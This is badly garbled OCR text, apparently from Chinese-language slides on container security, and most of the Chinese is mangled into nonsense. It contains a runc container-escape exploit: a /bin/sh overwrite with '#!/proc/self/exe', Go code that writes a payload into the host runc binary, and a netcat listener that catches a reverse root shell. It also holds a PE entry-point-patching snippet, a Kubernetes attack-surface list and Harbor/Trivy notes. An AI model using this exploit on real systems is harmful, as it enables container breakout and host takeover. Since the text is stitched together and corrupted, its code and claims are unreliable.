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antiy Connection: keep-alive

Cookic: JSESSIONID=2fa3fe28-BaSc-4e4b-9894-cabcibe
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WHEEE TR, IEEF38WA/bin/bashBE N
HANE—TER I EEFE:S, #1/proc/self/exeXtFHHIA, BEEREBESHEN
Bash BIZARYf#RESS—HZE#!/bin/shak fRRERS
#1/bin/bash

EAruncEMEKREE C MRS, SREBCHE
docker exec -it /bin/bashfysLfFHEE ‘ SEEREs—r, RtRGEEFESSNEEN
SEREEN B runcsEsCbashiyEEh HERARZIISAWG, EHSRAHE, HKEX
MruncHBEBEES Hpayloaditizs

dockerF KB RIFHHISRRREE runc

BAEWER, FLAroottRHITrUNC WHEMpayload#HiT, MITIFRENE EHAHEEIN
T2 NSt a=iEsE
WihE RERE 7 BT, ST AR B e AT ST TS FERRIEFN MG RFIET
BREMBENHEEZRERZERZ, FrLABSEEMIINEERRNAT, BTG aSE
AL S EN S TS B EASER L rootlk Ei={THTE

IFHECERIAppArmor / SELINUXEERR (HBIRIZNMARIEATS)
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| RBI=: DockerBMRR LA

SIS iES

BesRBERBETUE #!/proc/self/exeiXFERIHIARE

root@e8c30c8dfa37:~# cat /bin/sh

#! /proc/self/exe

WEEFERERESHREPC, #Eid O PATH h\,u,um%ffw&ﬂﬁ
runcfTZE /proc/${pid)/exe BIZHHEISII, FRENESAARRE

fd, ABRENUERRFTH (/proc/self/fd/${fd}) LA

O WRONLY (REB) frEEFHFIFAXE, ReE—MEATES
EidEPayloadENXHHRRFFH, BARNEEruncBHAYET

IREBEBFEN EMNruncsUE

FF WEe wlll use Tne pild To g2t & +1le handle +0r runc on The nosT.
war handlefFd = -1
for handlefFd == -1 {

# Mote, you do not need to use the O_PATH Flag for the exploit to w
nandle, _ := os.OpenfFile("/procs"+strconwv.Itoa{found)+",exe”, o©s.0_R
if dntdhandle.Fd{})} > @ {

handleFd — int(handle.Fd(})

Fot.Println{”[+] Successfully got the file handle™)

F# Mow that we have the File handle, lets write to the runc binary and owverw

f# Tt will maintain it's executable flag

For

<

writeHandle ., == c<-DDenFile(“fD'D:{SElF{Fﬂi”+StP:DrU.Itaa(ﬂardlazs

iF int(writeHandle.Fd{(») > @ {
Fmt . Print l’l( "[+1 Successfully got write handle”, writeHandle
writeHandle . Write{[Ibyvte(payload})

~eturn

Payloadflizx{ il 4 e, )

1ands that will execute

ARBEIdockeragEadfit & payload

[root@node®l ~]# docker exec -it 9c fbin/sh
No help topic for '/bin/fsh'
[root@nodea1 ~J1# i

RiTIRshell —

root@antiy:~# nc -lvnp 8080
Listening on 0.0.0.08 8080
Connection received on 172.16.1603.128 37698

bash: no job control in this shell
<36c7bb35025c22cT69Td7b4ba%90689d4330eal6cb5767bdc J#

7T
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R > FRMNE HARES

M 10.255.25.8 EIEHE: 2020-12-30 21:30
EFEFNE e
AU SRR B BiT#FE: /root/main

R EE RS | =80 Haa: | =8 Rk | 250 EEH: | =B AMEtE): | 5B FRIZ: fuser/bin/docker—runc

Md5: 34a1481ad88dec503877137147eab74e
a3 RP R BAMESE L] TR SRS 2ii3ER ST

FIRR{RIP 10.255.25.8 2020-12-30 21:30 SRR /root/main /user/bin/docker-runc ST{E” /user/bin/docker-rur  XA%” /user/bin/docker—runc” B9 RI{E R A:“34a1481ad88dec503877137147eab74e” 5 & 15
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ST R
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« Kubernetestm=kaIX| &

ffla0Weave Scope FITFiaix. AIf{LFNETE Docker LIK: Kubernetes,
IRIEM B L L EIntezerfIMicrosoft R TEIRITATRER, Weave ScopeBLMINHHMAN
HET=RIBGET.

. LR AT

ZE2 /A TGlobalDots—pAEIRE S, HBIg80%M “EENEA" (ENTEEUE.
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X
BREEERE 7 D

BRREENBESER

K8s Audit B 7512

FEZAHPodASE

BB EE M0 K8s APl Server
BER e mAgent

Bl R FAPI Server

BB K annotations{#K8s Audit
SRR 22

5AVREIE 5-»‘

K8s SecretiitiE
EFEEMAKHE

K8s Service AccountfEilEitEE
RZFE EAPIEIFHHEE
FFK8sENZFIRFIUEE

wEUER 7

5iaK8s API Server
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iH18)K8s DashboardfF7EIPOd
EFAE RIRE
mEEERSED
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SRR EBhilFEbE

: %%%Sﬁi‘ﬁﬁ‘émﬁﬁ%ﬁ{ [ JHYRE

Eﬁ%@@ﬁ*ﬁﬁﬂﬁﬁ, ERIgERIN :
« YEA

- BERIREEANRRESES, UAFS)

s\ 2
o z:zl}ﬁ%%i%% 343 SIZE T PtrToRaw, VirtualAddr;
344 LPBYTE pBase = (LPBYTE)OutBuffer;
. A o \_ 345 ULONG uSize = PIMAGE OPTIONAL HEADER((pBase + pDosHeader->e lfanew + 4 + 20))->SizeOfHeaders;
EE%)JQ 1‘tElJ 346 PIMAGE SECTION HEADER pSec = (PIMAGE SECTION HEADER) (pBase + pDosHeader->e lfanew + sizeof (IMAGE
347 for (int i = 0; i < PIMAGE FILE HEADER (pBase + pDosHeader->e lfanew + 4)->NumberOfSections; ++i)
o 348 {
""" 349 if (! stricmp((PCHAR)pSec[i].Name, ".CryS"))
350 {
351 PtrToRaw = pSec[i] .PointerToRawData;
352 VirtualAddr = pSec[i].VirtualAddress;
353 break;
354 }
355 }
356
j':i pNtHeader->OptionalHeader.AddressOfEntryPoint =|VirtualAddr ﬂ%?}]yél\{‘tﬁz
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StatefulSet: f ] ) —
harbor-scanner-trivy Pod: harbor-scanner-trivy-0 PVC: harbor-scanner-trivy-0 | >
L v
Pod template /
g )
/ P%hor—scanner—trivy-l | PVC: harbor—scanner—tri@—>-

Volume claim /
template i ) F
d: harbor-scanner-trivy-n PVC: hmbor-scanner—triW

K8STFfiE 1!

e
IS5 ETT

o TrivyiRERE T
s TrivyESHESERE
figfEredissh

harbor-scanner-trivy:scan-job:<job
id> key with configurable TTL~1h

ZOOM'IN

= Irootl.cachelfanal - Blobs downloaded from Harbor
registry and cached by Trivy ~ 0 MB to ? TB 1!

« J[rooticachelreports - Temporary folder where Scanner
Adapter stores Trivy JSON reports ~10 MB

= Jrootl.cacheltrivyldbltrivy.db - Pre-built Trivy
vulnerabilities databased downloaded from

https://github.com/aquasecurity/trivy-dbfreleases ~75 MB
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